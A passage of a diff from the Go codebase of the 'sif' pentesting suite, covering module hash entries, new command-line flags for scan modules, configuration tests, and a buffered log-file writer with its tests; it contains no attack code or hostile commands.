hash = "sha256-hT+JP30BBllsXosK/lo89HV/uxxPLsUyO3dRaDiLnCg="
|
||||
[mod."github.com/spaolacci/murmur3"]
|
||||
version = "v1.1.0"
|
||||
hash = "sha256-RWD4PPrlAsZZ8Xy356MBxpj+/NZI7w2XOU14Ob7/Y9M="
|
||||
[mod."github.com/spf13/cast"]
|
||||
version = "v1.5.1"
|
||||
hash = "sha256-/tQNGGQv+Osp+2jepQaQe6GlncZbqdxzSR82FieiUBU="
|
||||
[mod."github.com/syndtr/goleveldb"]
|
||||
version = "v1.0.0"
|
||||
hash = "sha256-rW7SW6nehede0oMZo4NBatM6Eizbnlb7xYoX/dcDUxA="
|
||||
[mod."github.com/temoto/robotstxt"]
|
||||
version = "v1.1.2"
|
||||
hash = "sha256-/0zXEWCnvefGjU2RNxoyZu15KU6WYe9C4m58kyLU6zo="
|
||||
[mod."github.com/tidwall/btree"]
|
||||
version = "v1.6.0"
|
||||
hash = "sha256-H4S46Yk3tVfOtrEhVWUrF4S1yWYmzU43W80HlzS9rcY="
|
||||
[mod."github.com/tidwall/buntdb"]
|
||||
version = "v1.3.0"
|
||||
hash = "sha256-tXp+wcPYogh/Thubk4baFLpbwrCGVf0URvlBXwGg3eQ="
|
||||
[mod."github.com/tidwall/gjson"]
|
||||
version = "v1.14.4"
|
||||
hash = "sha256-3DS2YNL95wG0qSajgRtIABD32J+oblaKVk8LIw+KSOc="
|
||||
[mod."github.com/tidwall/grect"]
|
||||
version = "v0.1.4"
|
||||
hash = "sha256-iSS8YjTqtmlzK9T3PFXoLx5xF/vC8864yNzGw0KYwKs="
|
||||
[mod."github.com/tidwall/match"]
|
||||
version = "v1.1.1"
|
||||
hash = "sha256-M2klhPId3Q3T3VGkSbOkYl/2nLHnsG+yMbXkPkyrRdg="
|
||||
[mod."github.com/tidwall/pretty"]
|
||||
version = "v1.2.1"
|
||||
hash = "sha256-S0uTDDGD8qr415Ut7QinyXljCp0TkL4zOIrlJ+9OMl8="
|
||||
[mod."github.com/tidwall/rtred"]
|
||||
version = "v0.1.2"
|
||||
hash = "sha256-C4p3rZWRLuNgbfVVPr83PZjbD8rZNN3a3YGQJQJlSQU="
|
||||
[mod."github.com/tidwall/tinyqueue"]
|
||||
version = "v0.1.1"
|
||||
hash = "sha256-vsVVA0dAkYtX/C/pk0nDUiu6kURZrK+rxVBRB4wY78Q="
|
||||
[mod."github.com/tklauser/go-sysconf"]
|
||||
version = "v0.3.11"
|
||||
hash = "sha256-io8s7PJi4OX+wXkCm+v5pKy4yiqA/RE/I4ksy6mKX30="
|
||||
[mod."github.com/tklauser/numcpus"]
|
||||
version = "v0.6.0"
|
||||
hash = "sha256-6jssTsP5L6yVl43tXfqDdgeI+tEkBp3BpiWwKXLTHAM="
|
||||
[mod."github.com/trivago/tgo"]
|
||||
version = "v1.0.7"
|
||||
hash = "sha256-VzCbopX6wKWVWmcr/qnKf4ruMicwyEeNfCEWc0UxoxI="
|
||||
[mod."github.com/ulikunitz/xz"]
|
||||
version = "v0.5.11"
|
||||
hash = "sha256-SUyrjc2wyN3cTGKe5JdBEXjtZC1rJySRxJHVUZ59row="
|
||||
[mod."github.com/ulule/deepcopier"]
|
||||
version = "v0.0.0-20200430083143-45decc6639b6"
|
||||
hash = "sha256-zyn5rHS5bU/4KajCVg+6pex42KVdXLZS8DFqRDUpn0E="
|
||||
[mod."github.com/valyala/bytebufferpool"]
|
||||
version = "v1.0.0"
|
||||
hash = "sha256-I9FPZ3kCNRB+o0dpMwBnwZ35Fj9+ThvITn8a3Jr8mAY="
|
||||
[mod."github.com/valyala/fasttemplate"]
|
||||
version = "v1.2.2"
|
||||
hash = "sha256-gp+lNXE8zjO+qJDM/YbS6V43HFsYP6PKn4ux1qa5lZ0="
|
||||
[mod."github.com/weppos/publicsuffix-go"]
|
||||
version = "v0.30.1-0.20230422193905-8fecedd899db"
|
||||
hash = "sha256-Hw5S8ACINl+z/qZmLhcQcXjrXHzYM9HsqQF91RbDoB4="
|
||||
[mod."github.com/xanzy/go-gitlab"]
|
||||
version = "v0.84.0"
|
||||
hash = "sha256-1Se9LHWGnmvAm0QHrb8Zw2jkyaKH2o3j0wvdMp289IQ="
|
||||
[mod."github.com/xi2/xz"]
|
||||
version = "v0.0.0-20171230120015-48954b6210f8"
|
||||
hash = "sha256-2J4cb9KUnGHn1WZ2+g/S+yiHGLDt6KU0cP3fJpQDGZ0="
|
||||
[mod."github.com/yl2chen/cidranger"]
|
||||
version = "v1.0.2"
|
||||
hash = "sha256-rPZApwakcZ1D3lmZnFds79+TFr9IlYkovTA7o52N9h0="
|
||||
[mod."github.com/ysmood/fetchup"]
|
||||
version = "v0.2.3"
|
||||
hash = "sha256-sJ9PBMJ/PH3Es/ngAJkrxTPNAXr7AFjdsblF67mP2Hc="
|
||||
[mod."github.com/ysmood/goob"]
|
||||
version = "v0.4.0"
|
||||
hash = "sha256-o0yVrxQRbN1dSjBH359VHADzPmkyrYOp7jn1GqIYhvw="
|
||||
[mod."github.com/ysmood/got"]
|
||||
version = "v0.34.1"
|
||||
hash = "sha256-dCLb+1Yt/HAZhfQlVkEQoVG9Uv7iBGSqhxdunoakLTU="
|
||||
[mod."github.com/ysmood/gson"]
|
||||
version = "v0.7.3"
|
||||
hash = "sha256-Dn5cTopPKtKCjQ7G6nlvPW2d7G4c5NfIdLVM9eLgR0E="
|
||||
[mod."github.com/ysmood/leakless"]
|
||||
version = "v0.8.0"
|
||||
hash = "sha256-+D41mvLU29dPR4Lf9iWYq3oATgKHpRnUKahO0hTiCDc="
|
||||
[mod."github.com/yuin/goldmark"]
|
||||
version = "v1.5.4"
|
||||
hash = "sha256-4he5sGi0uj1LogdqvgpvN8b7p6qlKMGuWXRFzh+FK8s="
|
||||
[mod."github.com/yuin/goldmark-emoji"]
|
||||
version = "v1.0.1"
|
||||
hash = "sha256-liYCi6/EYG4obl51CzCaOmXf3fdzrU43J9VBZyHggEo="
|
||||
[mod."github.com/yusufpapurcu/wmi"]
|
||||
version = "v1.2.3"
|
||||
hash = "sha256-HOLI8i58AMWeTotvYtdZessgrLwUG2aiS37eeHgsneY="
|
||||
[mod."github.com/zeebo/blake3"]
|
||||
version = "v0.2.3"
|
||||
hash = "sha256-ZepnzkvOyicTGL078O1F84q0TzBAouJlB5AMmfsiOIg="
|
||||
[mod."github.com/zmap/rc2"]
|
||||
version = "v0.0.0-20190804163417-abaa70531248"
|
||||
hash = "sha256-yMyZfFjcLynxiNXmUdfSfUlWekdtlXV3jGIoJMxMDz4="
|
||||
[mod."github.com/zmap/zcrypto"]
|
||||
version = "v0.0.0-20230422215203-9a665e1e9968"
|
||||
hash = "sha256-nDBTEGDBv764XaC3KEwMtKGim0dEy4cjgo8XwnvyLh4="
|
||||
[mod."go.etcd.io/bbolt"]
|
||||
version = "v1.3.7"
|
||||
hash = "sha256-poZk8tPLDWwW95oCOkTJcQtEvOJTD9UXAZ2TqGJutwk="
|
||||
[mod."go.uber.org/multierr"]
|
||||
version = "v1.11.0"
|
||||
hash = "sha256-Lb6rHHfR62Ozg2j2JZy3MKOMKdsfzd1IYTR57r3Mhp0="
|
||||
[mod."go.uber.org/zap"]
|
||||
version = "v1.25.0"
|
||||
hash = "sha256-aU270ds5r37xtfFFDVrvjOTTOv1aZNd7ffvHZJB6VIQ="
|
||||
[mod."goftp.io/server/v2"]
|
||||
version = "v2.0.1"
|
||||
hash = "sha256-lI1UZVC9zQnyarOK6AR3Llw4exPqvNn3BZqwKlAOYbQ="
|
||||
[mod."golang.org/x/crypto"]
|
||||
version = "v0.12.0"
|
||||
hash = "sha256-Wes72EA9ICTG8o0nEYWZk9xjpqlniorFeY6o26GExns="
|
||||
[mod."golang.org/x/exp"]
|
||||
version = "v0.0.0-20230626212559-97b1e661b5df"
|
||||
hash = "sha256-aoesDZqls2sBtDmZ/ZSLzIudLuD8GDtGEEucyiqbCjY="
|
||||
[mod."golang.org/x/mod"]
|
||||
version = "v0.12.0"
|
||||
hash = "sha256-M/oXnzm7odpJdQzEnG6W0pNYtl0uhOM/l7qgfGVpU2M="
|
||||
[mod."golang.org/x/net"]
|
||||
version = "v0.14.0"
|
||||
hash = "sha256-QScKgO7lBWOsd0Y31wLRzFETv3tjqdB/eRQWW5q7aV4="
|
||||
[mod."golang.org/x/oauth2"]
|
||||
version = "v0.11.0"
|
||||
hash = "sha256-ztz1lRVZXq6lTN/q4b4Y+P6L1EkP8ZJuhUbSJ0QvCw4="
|
||||
[mod."golang.org/x/sys"]
|
||||
version = "v0.11.0"
|
||||
hash = "sha256-g/LjhABK2c/u6v7M2aAIrHvZjmx/ikGHkef86775N38="
|
||||
[mod."golang.org/x/text"]
|
||||
version = "v0.12.0"
|
||||
hash = "sha256-aNQaW3EgCK9ehpnBzIAkZX6TmiUU1S175YlJUH7P5Qg="
|
||||
[mod."golang.org/x/time"]
|
||||
version = "v0.3.0"
|
||||
hash = "sha256-/hmc9skIswMYbivxNS7R8A6vCTUF9k2/7tr/ACkcEaM="
|
||||
[mod."golang.org/x/tools"]
|
||||
version = "v0.11.0"
|
||||
hash = "sha256-3fNsrCbUnbI5kwZRTx/olHLxR2DJhfvEQ3x0yeeZ8JY="
|
||||
[mod."google.golang.org/appengine"]
|
||||
version = "v1.6.7"
|
||||
hash = "sha256-zIxGRHiq4QBvRqkrhMGMGCaVL4iM4TtlYpAi/hrivS4="
|
||||
[mod."google.golang.org/protobuf"]
|
||||
version = "v1.31.0"
|
||||
hash = "sha256-UdIk+xRaMfdhVICvKRk1THe3R1VU+lWD8hqoW/y8jT0="
|
||||
[mod."gopkg.in/alecthomas/kingpin.v2"]
|
||||
version = "v2.2.6"
|
||||
hash = "sha256-uViE2kPj7tMrGYVjjdLOl2jFDmmu+3P7GvnZBse2zVY="
|
||||
[mod."gopkg.in/corvus-ch/zbase32.v1"]
|
||||
version = "v1.0.0"
|
||||
hash = "sha256-T6PzD4SJv6ipfCkr8CVHXjmKvYRGcLOypHTa238GGlw="
|
||||
[mod."gopkg.in/djherbis/times.v1"]
|
||||
version = "v1.3.0"
|
||||
hash = "sha256-0ZIFWjtY4KyTPIRjUVIGKMXSXe++6vxBckckluhBYLY="
|
||||
[mod."gopkg.in/yaml.v2"]
|
||||
version = "v2.4.0"
|
||||
hash = "sha256-uVEGglIedjOIGZzHW4YwN1VoRSTK8o0eGZqzd+TNdd0="
|
||||
[mod."gopkg.in/yaml.v3"]
|
||||
version = "v3.0.1"
|
||||
hash = "sha256-FqL9TKYJ0XkNwJFnq9j0VvJ5ZUU1RvH/52h/f5bkYAU="
|
||||
[mod."moul.io/http2curl"]
|
||||
version = "v1.0.0"
|
||||
hash = "sha256-1ZP4V71g1K3oTvz5nGWUBD5h84hXga/RUQwWTpSnphM="
|
||||
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package config
|
||||
@@ -53,6 +41,14 @@ type Settings struct {
|
||||
Headers bool
|
||||
CloudStorage bool
|
||||
SubdomainTakeover bool
|
||||
Shodan bool
|
||||
SQL bool
|
||||
LFI bool
|
||||
Framework bool
|
||||
Modules string // Comma-separated list of module IDs to run
|
||||
ModuleTags string // Run modules matching these tags
|
||||
AllModules bool // Run all loaded modules
|
||||
ListModules bool // List available modules and exit
|
||||
}
|
||||
|
||||
const (
|
||||
@@ -95,6 +91,10 @@ func Parse() *Settings {
|
||||
flagSet.BoolVar(&settings.Headers, "headers", false, "Enable HTTP Header Analysis"),
|
||||
flagSet.BoolVar(&settings.CloudStorage, "c3", false, "Enable C3 Misconfiguration Scan"),
|
||||
flagSet.BoolVar(&settings.SubdomainTakeover, "st", false, "Enable Subdomain Takeover Check"),
|
||||
flagSet.BoolVar(&settings.Shodan, "shodan", false, "Enable Shodan lookup (requires SHODAN_API_KEY env var)"),
|
||||
flagSet.BoolVar(&settings.SQL, "sql", false, "Enable SQL reconnaissance (admin panels, error disclosure)"),
|
||||
flagSet.BoolVar(&settings.LFI, "lfi", false, "Enable LFI (Local File Inclusion) reconnaissance"),
|
||||
flagSet.BoolVar(&settings.Framework, "framework", false, "Enable framework detection"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("runtime", "Runtime",
|
||||
@@ -109,6 +109,13 @@ func Parse() *Settings {
|
||||
flagSet.BoolVar(&settings.ApiMode, "api", false, "Enable API mode. Only useful for internal lunchcat usage"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("modules", "Modules",
|
||||
flagSet.StringVarP(&settings.Modules, "modules", "m", "", "Comma-separated list of module IDs to run"),
|
||||
flagSet.StringVarP(&settings.ModuleTags, "module-tags", "mt", "", "Run modules matching these tags"),
|
||||
flagSet.BoolVarP(&settings.AllModules, "all-modules", "am", false, "Run all loaded modules"),
|
||||
flagSet.BoolVarP(&settings.ListModules, "list-modules", "lm", false, "List available modules and exit"),
|
||||
)
|
||||
|
||||
if err := flagSet.Parse(); err != nil {
|
||||
log.Fatalf("Could not parse flags: %s", err)
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package config
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestSettingsDefaults(t *testing.T) {
|
||||
settings := &Settings{}
|
||||
|
||||
// noscan should default to false (base scan runs by default)
|
||||
if settings.NoScan != false {
|
||||
t.Errorf("expected NoScan default to be false, got %v", settings.NoScan)
|
||||
}
|
||||
|
||||
// other scan flags should default to false
|
||||
if settings.Dorking != false {
|
||||
t.Errorf("expected Dorking default to be false, got %v", settings.Dorking)
|
||||
}
|
||||
if settings.Git != false {
|
||||
t.Errorf("expected Git default to be false, got %v", settings.Git)
|
||||
}
|
||||
if settings.Nuclei != false {
|
||||
t.Errorf("expected Nuclei default to be false, got %v", settings.Nuclei)
|
||||
}
|
||||
if settings.JavaScript != false {
|
||||
t.Errorf("expected JavaScript default to be false, got %v", settings.JavaScript)
|
||||
}
|
||||
if settings.CMS != false {
|
||||
t.Errorf("expected CMS default to be false, got %v", settings.CMS)
|
||||
}
|
||||
if settings.Headers != false {
|
||||
t.Errorf("expected Headers default to be false, got %v", settings.Headers)
|
||||
}
|
||||
if settings.CloudStorage != false {
|
||||
t.Errorf("expected CloudStorage default to be false, got %v", settings.CloudStorage)
|
||||
}
|
||||
if settings.SubdomainTakeover != false {
|
||||
t.Errorf("expected SubdomainTakeover default to be false, got %v", settings.SubdomainTakeover)
|
||||
}
|
||||
|
||||
// enum settings should default to empty string
|
||||
if settings.Dirlist != "" {
|
||||
t.Errorf("expected Dirlist default to be empty, got %v", settings.Dirlist)
|
||||
}
|
||||
if settings.Dnslist != "" {
|
||||
t.Errorf("expected Dnslist default to be empty, got %v", settings.Dnslist)
|
||||
}
|
||||
if settings.Ports != "" {
|
||||
t.Errorf("expected Ports default to be empty, got %v", settings.Ports)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsNoScanBehavior(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
noScan bool
|
||||
shouldBaseScan bool
|
||||
}{
|
||||
{
|
||||
name: "default - base scan should run",
|
||||
noScan: false,
|
||||
shouldBaseScan: true,
|
||||
},
|
||||
{
|
||||
name: "noscan enabled - base scan should not run",
|
||||
noScan: true,
|
||||
shouldBaseScan: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
settings := &Settings{NoScan: tt.noScan}
|
||||
|
||||
// the condition in sif.go is: if !app.settings.NoScan { scan.Scan(...) }
|
||||
shouldRun := !settings.NoScan
|
||||
if shouldRun != tt.shouldBaseScan {
|
||||
t.Errorf("expected shouldBaseScan=%v, got %v", tt.shouldBaseScan, shouldRun)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsTimeoutDefault(t *testing.T) {
|
||||
settings := &Settings{}
|
||||
|
||||
// timeout defaults to zero value, actual default (10s) is set in Parse()
|
||||
if settings.Timeout != 0 {
|
||||
t.Errorf("expected Timeout zero value, got %v", settings.Timeout)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsThreadsDefault(t *testing.T) {
|
||||
settings := &Settings{}
|
||||
|
||||
// threads defaults to zero value, actual default (10) is set in Parse()
|
||||
if settings.Threads != 0 {
|
||||
t.Errorf("expected Threads zero value, got %v", settings.Threads)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsWithValues(t *testing.T) {
|
||||
settings := &Settings{
|
||||
NoScan: true,
|
||||
Dorking: true,
|
||||
Git: true,
|
||||
Nuclei: true,
|
||||
JavaScript: true,
|
||||
CMS: true,
|
||||
Headers: true,
|
||||
CloudStorage: true,
|
||||
SubdomainTakeover: true,
|
||||
Dirlist: "medium",
|
||||
Dnslist: "large",
|
||||
Ports: "common",
|
||||
Timeout: 30 * time.Second,
|
||||
Threads: 20,
|
||||
Debug: true,
|
||||
LogDir: "/tmp/logs",
|
||||
ApiMode: true,
|
||||
}
|
||||
|
||||
if !settings.NoScan {
|
||||
t.Error("expected NoScan to be true")
|
||||
}
|
||||
if !settings.Dorking {
|
||||
t.Error("expected Dorking to be true")
|
||||
}
|
||||
if settings.Dirlist != "medium" {
|
||||
t.Errorf("expected Dirlist 'medium', got '%s'", settings.Dirlist)
|
||||
}
|
||||
if settings.Dnslist != "large" {
|
||||
t.Errorf("expected Dnslist 'large', got '%s'", settings.Dnslist)
|
||||
}
|
||||
if settings.Ports != "common" {
|
||||
t.Errorf("expected Ports 'common', got '%s'", settings.Ports)
|
||||
}
|
||||
if settings.Timeout != 30*time.Second {
|
||||
t.Errorf("expected Timeout 30s, got %v", settings.Timeout)
|
||||
}
|
||||
if settings.Threads != 20 {
|
||||
t.Errorf("expected Threads 20, got %d", settings.Threads)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package logger
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Logger manages buffered file writers for efficient logging.
|
||||
// File handles are kept open and writes are buffered to minimize I/O overhead.
|
||||
type Logger struct {
|
||||
mu sync.RWMutex
|
||||
writers map[string]*bufio.Writer
|
||||
files map[string]*os.File
|
||||
}
|
||||
|
||||
var defaultLogger = &Logger{
|
||||
writers: make(map[string]*bufio.Writer),
|
||||
files: make(map[string]*os.File),
|
||||
}
|
||||
|
||||
// Init creates the log directory if it doesn't exist.
|
||||
func Init(dir string) error {
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
if err = os.Mkdir(dir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// getWriter returns a buffered writer for the given file path, creating it if needed.
|
||||
func (l *Logger) getWriter(path string) (*bufio.Writer, error) {
|
||||
l.mu.RLock()
|
||||
w, exists := l.writers[path]
|
||||
l.mu.RUnlock()
|
||||
|
||||
if exists {
|
||||
return w, nil
|
||||
}
|
||||
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
// Double-check after acquiring write lock
|
||||
if w, exists = l.writers[path]; exists {
|
||||
return w, nil
|
||||
}
|
||||
|
||||
f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
w = bufio.NewWriter(f)
|
||||
l.writers[path] = w
|
||||
l.files[path] = f
|
||||
|
||||
return w, nil
|
||||
}
|
||||
|
||||
// write writes text to the specified log file using buffered I/O.
|
||||
func (l *Logger) write(path, text string) error {
|
||||
w, err := l.getWriter(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
l.mu.Lock()
|
||||
_, err = w.WriteString(text)
|
||||
l.mu.Unlock()
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// Flush flushes all buffered writers to disk.
|
||||
func (l *Logger) Flush() error {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
for _, w := range l.writers {
|
||||
if err := w.Flush(); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Close flushes and closes all open file handles.
|
||||
func (l *Logger) Close() error {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
|
||||
var firstErr error
|
||||
for path, w := range l.writers {
|
||||
if err := w.Flush(); err != nil && firstErr == nil {
|
||||
firstErr = err
|
||||
}
|
||||
if err := l.files[path].Close(); err != nil && firstErr == nil {
|
||||
firstErr = err
|
||||
}
|
||||
}
|
||||
|
||||
l.writers = make(map[string]*bufio.Writer)
|
||||
l.files = make(map[string]*os.File)
|
||||
|
||||
return firstErr
|
||||
}
|
||||
|
||||
// CreateFile initializes a log file for the given URL and writes the header.
|
||||
func CreateFile(logFiles *[]string, url string, dir string) error {
|
||||
sanitizedURL := strings.Split(url, "://")[1]
|
||||
path := filepath.Join(dir, sanitizedURL+".log")
|
||||
|
||||
header := fmt.Sprintf(" _____________\n__________(_)__ __/\n__ ___/_ /__ /_ \n_(__ )_ / _ __/ \n/____/ /_/ /_/ \n\nsif log file for %s\nhttps://sif.sh\n\n", url)
|
||||
|
||||
if err := defaultLogger.write(path, header); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
*logFiles = append(*logFiles, path)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Write appends text to the log file for the given URL.
|
||||
func Write(url string, dir string, text string) error {
|
||||
path := filepath.Join(dir, url+".log")
|
||||
return defaultLogger.write(path, text)
|
||||
}
|
||||
|
||||
// WriteHeader writes a section header to the log file.
|
||||
func WriteHeader(url string, dir string, scan string) error {
|
||||
return Write(url, dir, fmt.Sprintf("\n\n--------------\nStarting %s\n--------------\n", scan))
|
||||
}
|
||||
|
||||
// Flush flushes all buffered log data to disk.
|
||||
func Flush() error {
|
||||
return defaultLogger.Flush()
|
||||
}
|
||||
|
||||
// Close flushes and closes all log files. Should be called before program exit.
|
||||
func Close() error {
|
||||
return defaultLogger.Close()
|
||||
}
|
||||
@@ -0,0 +1,196 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package logger
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestInit(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
logDir := filepath.Join(tmpDir, "logs")
|
||||
|
||||
if err := Init(logDir); err != nil {
|
||||
t.Fatalf("Init failed: %v", err)
|
||||
}
|
||||
|
||||
if _, err := os.Stat(logDir); os.IsNotExist(err) {
|
||||
t.Fatal("Init did not create log directory")
|
||||
}
|
||||
|
||||
// Second call should be a no-op
|
||||
if err := Init(logDir); err != nil {
|
||||
t.Fatalf("Init failed on existing directory: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteAndFlush(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
|
||||
// Write some data
|
||||
if err := Write("test", tmpDir, "hello world\n"); err != nil {
|
||||
t.Fatalf("Write failed: %v", err)
|
||||
}
|
||||
|
||||
// Flush to ensure data is written
|
||||
if err := Flush(); err != nil {
|
||||
t.Fatalf("Flush failed: %v", err)
|
||||
}
|
||||
|
||||
// Read back and verify
|
||||
content, err := os.ReadFile(filepath.Join(tmpDir, "test.log"))
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to read log file: %v", err)
|
||||
}
|
||||
|
||||
if string(content) != "hello world\n" {
|
||||
t.Errorf("Expected 'hello world\\n', got %q", content)
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
Close()
|
||||
}
|
||||
|
||||
func TestWriteHeader(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
|
||||
if err := WriteHeader("test", tmpDir, "TestScan"); err != nil {
|
||||
t.Fatalf("WriteHeader failed: %v", err)
|
||||
}
|
||||
|
||||
if err := Flush(); err != nil {
|
||||
t.Fatalf("Flush failed: %v", err)
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(filepath.Join(tmpDir, "test.log"))
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to read log file: %v", err)
|
||||
}
|
||||
|
||||
if !strings.Contains(string(content), "Starting TestScan") {
|
||||
t.Errorf("Expected header to contain 'Starting TestScan', got %q", content)
|
||||
}
|
||||
|
||||
Close()
|
||||
}
|
||||
|
||||
func TestCreateFile(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
|
||||
var logFiles []string
|
||||
if err := CreateFile(&logFiles, "https://example.com", tmpDir); err != nil {
|
||||
t.Fatalf("CreateFile failed: %v", err)
|
||||
}
|
||||
|
||||
if err := Flush(); err != nil {
|
||||
t.Fatalf("Flush failed: %v", err)
|
||||
}
|
||||
|
||||
if len(logFiles) != 1 {
|
||||
t.Fatalf("Expected 1 log file, got %d", len(logFiles))
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(logFiles[0])
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to read log file: %v", err)
|
||||
}
|
||||
|
||||
if !strings.Contains(string(content), "sif log file for https://example.com") {
|
||||
t.Errorf("Expected header content, got %q", content)
|
||||
}
|
||||
|
||||
Close()
|
||||
}
|
||||
|
||||
func TestConcurrentWrites(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
|
||||
var wg sync.WaitGroup
|
||||
numWriters := 10
|
||||
writesPerWriter := 100
|
||||
|
||||
for i := 0; i < numWriters; i++ {
|
||||
wg.Add(1)
|
||||
go func(id int) {
|
||||
defer wg.Done()
|
||||
for j := 0; j < writesPerWriter; j++ {
|
||||
if err := Write("concurrent", tmpDir, "data\n"); err != nil {
|
||||
t.Errorf("Write failed: %v", err)
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
if err := Flush(); err != nil {
|
||||
t.Fatalf("Flush failed: %v", err)
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(filepath.Join(tmpDir, "concurrent.log"))
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to read log file: %v", err)
|
||||
}
|
||||
|
||||
lines := strings.Count(string(content), "data\n")
|
||||
expected := numWriters * writesPerWriter
|
||||
if lines != expected {
|
||||
